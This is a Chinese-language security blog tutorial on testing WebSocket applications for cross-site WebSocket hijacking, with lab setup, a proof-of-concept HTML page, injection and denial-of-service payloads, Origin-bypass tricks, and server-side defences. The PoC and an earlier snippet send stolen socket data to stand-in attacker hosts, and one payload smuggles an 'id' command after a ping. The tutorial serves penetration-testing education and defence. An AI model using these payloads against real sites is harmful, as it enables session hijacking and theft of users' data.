PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】WebSocket安全测试:从劫持到跨站点WebSocket劫持(CSWSH)

📅 2026年5月31日 📁 Hermes Agent ⏱ 5 分钟

【教程】WebSocket安全测试:从劫持到跨站点WebSocket劫持(CSWSH)

适合人群:安全测试工程师、渗透测试初学者、Web开发者

前置知识:HTTP协议基础、WebSocket基本概念、Burp Suite使用

一、前置准备

工具安装


# Burp Suite(推荐Pro版用于WebSocket抓包)
# WebSocket Collector插件(Burp Suite BApp Store可安装)

# 本地WebSocket测试环境(Node.js)
npm install -g wscat  # WebSocket命令行客户端

# Python WebSocket客户端
pip install websocket-client

靶场搭建

推荐使用在线靶场或本地搭建:


# 拉取包含WebSocket漏洞的DVWS靶场
git clone https://github.com/interference-security/DVWS.git
cd DVWS
docker-compose up -d
# 或手动配置PHP环境 + MySQL

二、核心原理

WebSocket 是什么?

WebSocket 是一种全双工通信协议,在单个 TCP 连接上进行双向数据传输。与 HTTP 不同,WebSocket 建立后服务器可以主动向客户端推送数据。

握手过程


客户端 → 服务器(HTTP Upgrade 请求)
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com

服务器 → 客户端(101 Switching Protocols)
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

CSWSH(跨站点WebSocket劫持)原理

CSWSH 的原理与 CSRF 类似——攻击者利用受害者的已认证会话,通过恶意网页在受害者浏览器中创建 WebSocket 连接到目标服务器。关键在于服务器仅检查 Cookie/Session,但未验证 Origin 头。


攻击者网页 <script>
  var ws = new WebSocket('wss://target.com/chat');
  ws.onopen = function() {
    ws.send('敏感数据查询');
  };
  ws.onmessage = function(e) {
    // 将窃取到的数据发送到攻击者服务器
    new Image().src = 'https://attacker.com/steal?data=' + btoa(e.data);
  };
</script>

三、实操步骤

Step 1:发现 WebSocket 端点

使用 Burp Suite 抓包,或浏览器开发者工具查看 WebSocket 连接:


// 浏览器控制台查看 WebSocket 连接
// 在 Console 输入:
// 方式一:查看所有 WebSocket 对象
console.log(window.WebSocket);

// 方式二:通过 Performance 面板录制 → WS 标签页
// 方式三:Burp Suite → WebSocket History 标签

使用 wscat 连接测试:


# 连接到 WebSocket 端点
wscat -c ws://target.com/ws/chat

# 发送测试消息
> {"action":"get_messages","room":"general"}
< {"status":"ok","messages":[...]}

Step 2:测试 CSWSH 漏洞

检测条件

  1. WebSocket 握手时使用 Cookie 认证(而非 Token 头)
  2. 服务器未校验 Origin
  3. 连接后可直接操作敏感功能

PoC 构造


<!-- cswsh_poc.html -->
<html>
<body>
<h1>CSWSH PoC</h1>
<pre id="output"></pre>
<script>
const output = document.getElementById('output');

// 1. 建立 WebSocket 连接(自动携带浏览器 Cookie)
const ws = new WebSocket('wss://target.com/ws/chat');

ws.onopen = () => {
  output.textContent += '[+] 连接成功!\n';
  // 发送恶意查询
  ws.send(JSON.stringify({action: 'get_all_users', admin: true}));
};

ws.onmessage = (event) => {
  const data = event.data;
  output.textContent += '[+] 收到数据:' + data + '\n';
  // 窃取数据:发送到攻击者服务器
  fetch('https://attacker.example.com/steal?d=' + btoa(data));
};

ws.onerror = () => {
  output.textContent += '[-] 连接失败\n';
};
</script>
</body>
</html>

测试步骤


# 1. 在已登录 target.com 的浏览器中打开 PoC 页面
# 2. 观察 WebSocket 是否成功建立连接
# 3. 检查服务器是否有响应数据返回
# 4. 确认数据是否被发送到攻击者服务器

Step 3:WebSocket 消息篡改测试

使用 Burp Suite 拦截 WebSocket 消息:


# Burp Proxy → WebSocket History → 选择消息
# 右键 → Send to Repeater (WebSocket)

# 在 Repeater 中修改消息内容并重发
原始消息: {"action":"get_profile","user_id":1001}
修改后:   {"action":"get_profile","user_id":1002}

Step 4:WebSocket 消息注入

WebSocket 消息如果未正确过滤,同样存在注入风险:


// 正常消息
{"action":"chat","message":"Hello"}

// SQL 注入测试
{"action":"chat","message":"' OR 1=1--"}

// XSS 测试(消息在页面中渲染时)
{"action":"chat","message":"<img src=x onerror=alert(1)>"}

// 命令注入(服务端执行命令的场景)
{"action":"exec","command":"ping -c 1 8.8.8.8;id"}

Step 5:WebSocket 拒绝服务测试

某些 WebSocket 实现存在 DoS 风险:


// 快速连接/断开循环
for (let i = 0; i < 1000; i++) {
  const ws = new WebSocket('wss://target.com/ws');
  ws.onopen = () => ws.close();
}

四、绕过技术

4.1 Origin 头绕过

绕过方式说明示例
空 Origin某些服务器会接受空 OriginOrigin: null
同域绕过寻找 XSS 后在同域下执行利用 XSS 创建 WebSocket
解析差异Origin 的 URL 解析差异Origin: https://target.com.evil.com
前缀匹配绕过仅检查是否包含 target.comOrigin: https://x-target.com
Proxy 绕过通过受影响子域Origin: https://sub.target.com

4.2 认证绕过


// 如果服务器使用 Token 而非 Cookie 认证
// 可以尝试:

// 1. 硬编码 Token
const ws = new WebSocket('wss://target.com/ws?token=eyJhbGci...');

// 2. HTTP 头方式
const ws = new WebSocket('wss://target.com/ws', {
  headers: {
    'Authorization': 'Bearer eyJhbGci...'
  }
});

// 3. 消息体认证
ws.onopen = () => {
  ws.send(JSON.stringify({auth: 'token_value'...}));
};

五、实战案例复盘

案例:即时通讯应用 CSWSH

场景:某企业内部即时通讯应用使用 WebSocket 推送消息。用户登录后浏览器与 wss://chat.internal.com/ws 建立 WebSocket 连接,认证仅靠 Cookie。

攻击过程


1. 攻击者发现 WebSocket 端点未校验 Origin 头
2. 构造恶意 HTML 页面
3. 发送钓鱼链接给已登录员工
4. 员工浏览器自动携带 Cookie 建立 WebSocket
5. 攻击者 PoC 发送 {"action":"read_all_messages"}
6. 服务器返回所有聊天记录(含敏感信息)
7. 数据被发送到攻击者服务器

影响:数千条内部聊天记录泄露,含项目代码片段、密码讨论等。

修复:服务端添加 Origin 头校验 + WebSocket 握手时验证 Token。

六、防御建议

防御措施实现方式优先级
Origin 校验服务端严格校验 Origin 头,仅允许白名单域名P0
Token 认证WebSocket 建立时携带 Token(非 Cookie),服务端验证P0
消息加密WSS(WebSocket Secure)+ 应用层加密P1
速率限制限制单个客户端连接数和消息频率P1
输入过滤对 WebSocket 消息内容进行严格校验和过滤P1
会话绑定WebSocket 会话与 HTTP 会话绑定,校验一致性P1

Nginx 配置示例


# 限制 WebSocket 连接
map $http_upgrade $connection_upgrade {
    default upgrade;
    '' close;
}

server {
    listen 443 ssl;
    server_name chat.example.com;

    location /ws/ {
        proxy_pass http://backend:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection $connection_upgrade;
        proxy_set_header Host $host;

        # 严格校验 Origin(关键)
        if ($http_origin !~* "^https?://(chat\.example\.com|admin\.example\.com)$") {
            return 403;
        }
    }
}

服务端 Token 验证(Node.js 示例)


const WebSocket = require('ws');
const url = require('url');

const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', (ws, req) => {
  // 方式一:从查询参数获取 Token
  const params = url.parse(req.url, true).query;
  const token = params.token;

  if (!validateToken(token)) {
    ws.close(4001, 'Authentication failed');
    return;
  }

  // 方式二:校验 Origin
  const origin = req.headers.origin;
  if (!allowedOrigins.includes(origin)) {
    ws.close(4002, 'Invalid origin');
    return;
  }

  ws.on('message', (message) => {
    // 消息内容校验
    try {
      const data = JSON.parse(message);
      if (!validateMessage(data)) {
        ws.send(JSON.stringify({error: 'Invalid message format'}));
        return;
      }
      // 处理消息...
    } catch (e) {
      ws.send(JSON.stringify({error: 'Invalid JSON'}));
    }
  });
});

七、常见陷阱

#陷阱说明
1只测 HTTP 不测 WebSocket很多测试人员只关注 REST API,忽略 WebSocket 端点
2忽略认证机制差异WebSocket 建立时的认证可能比 HTTP API 弱
3浏览器同源策略误解WebSocket 不受严格同源策略限制,Origin 只是 HTTP 头
4自签证书跳过安全WSS 自签证书仍可中间人,应验证证书链
5消息体注入忽略WebSocket 消息体也可能存在注入(SQL、NoSQL、命令注入)
6WebSocket 重连机制重连时可能暴露临时凭证或降级安全等级

八、总结(含速查表)

CSWSH 检测速查表


┌─────────────────────────────────────────┐
│  步骤  │  操作                    │  工具  │
├────────┼──────────────────────────┼────────┤
│  1     │ 发现 WebSocket 端点      │ Burp   │
│  2     │ 检查认证方式(Cookie/Token)│ 浏览器  │
│  3     │ 测试 Origin 校验         │ PoC页面 │
│  4     │ 验证敏感功能可操作      │ wscat  │
│  5     │ 构造 CSWSH PoC          │ HTML   │
│  6     │ 确认数据窃取链路        │ 监听服务器 │
└─────────────────────────────────────────┘

WebSocket 安全测试 Payload 速查表

测试类型Payload预期结果
CSWSHHTML PoC 页面连接 WebSocket连接成功 + 数据返回
认证绕过添加 ?token= 参数或 Message 内嵌认证获取未授权数据
SQL 注入{"id":"1' OR '1'='1"}错误信息或异常数据
XSS 注入{"msg":"<script>alert(1)</script>"}弹窗
命令注入{"cmd":"id"}返回 uid=...
DoS大量连接/断开操作服务端 CPU 飙升或拒绝连接
信息泄露枚举 user_id 参数越权获取其他用户数据

核心知识点

  1. WebSocket 不受浏览器同源策略限制——这是 CSWSH 能成功的前提
  2. WebSocket 认证 ≠ HTTP 认证——独立测试 WebSocket 的认证机制
  3. 始终使用 WSS——明文 WebSocket 可被中间人劫持
  4. 服务器端必须校验 Origin——这是防御 CSWSH 的第一道防线
  5. 不要依赖 Cookie 做 WebSocket 认证——使用 Token 更安全

参考资源

  • OWASP WebSocket Security Cheat Sheet
  • RFC 6455 - The WebSocket Protocol
  • Burp Suite WebSocket Testing Guide
← 返回首页